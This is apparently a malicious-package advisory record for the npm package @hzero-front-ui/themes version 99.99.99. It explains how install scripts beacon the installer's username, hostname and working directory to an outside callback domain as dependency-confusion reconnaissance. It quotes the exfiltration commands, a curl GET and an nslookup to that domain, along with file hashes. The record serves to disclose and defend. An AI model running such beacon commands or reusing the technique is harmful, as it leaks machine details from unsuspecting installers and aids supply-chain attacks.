@hzero-front-ui/themes

{"modified":"2026-08-13T21:06:40Z","published":"2026-08-13T21:06:40Z","schema_version":"1.7.4","id":"MAL-2026-13971","summary":"Malicious code in @hzero-front-ui/themes (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (aac0df9dcfaeaf0958ef981d9c5cd9dd4ab1fe0de41bd20894c261dade6bb486)\npackage.json defines `preinstall` and `install` lifecycle scripts that run automatically on `npm install`. The scripts collect the installer's `whoami`, `hostname`, `pwd`, and `$npm_package_name`, base64-encode them, and beacon them to subdomains of `callback.m0chan.co.uk` via both an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The scoped name `@hzero-front-ui/themes` combined with version `99.99.99` is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.\n","affected":[{"package":{"ecosystem":"npm","name":"@hzero-front-ui/themes"},"versions":["99.99.99"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"598dab8bea9867ff4f8de7ce748c74cdb148d83f509715324e8f4886c33fff4d","tlsh":"70119c2541319eb6a8e24fb01c00ab2d65fdabaf307ebb49620d4a1f001d16170ef74e"}],"package_integrity":[{"filename":"themes-99.99.99.tgz","hashes":{"sha1":"7099750e0d606badcf7febf69f8ebb864ed417ca","sha512_sri":"sha512-8z7gM2s+mXMtGp7jyku65cUMb+IMvfrufoE0djZvEw1WqEljY224QBlOMiglAm245N9lvqCHZj+BXLevIUDupg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@hzero-front-ui/themes/v/99.99.99"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017672","import_time":"2026-08-13T21:20:56.983251941Z","modified_time":"2026-08-13T21:06:40Z","sha256":"aac0df9dcfaeaf0958ef981d9c5cd9dd4ab1fe0de41bd20894c261dade6bb486","source":"amazon-inspector","versions":["99.99.99"]}]}}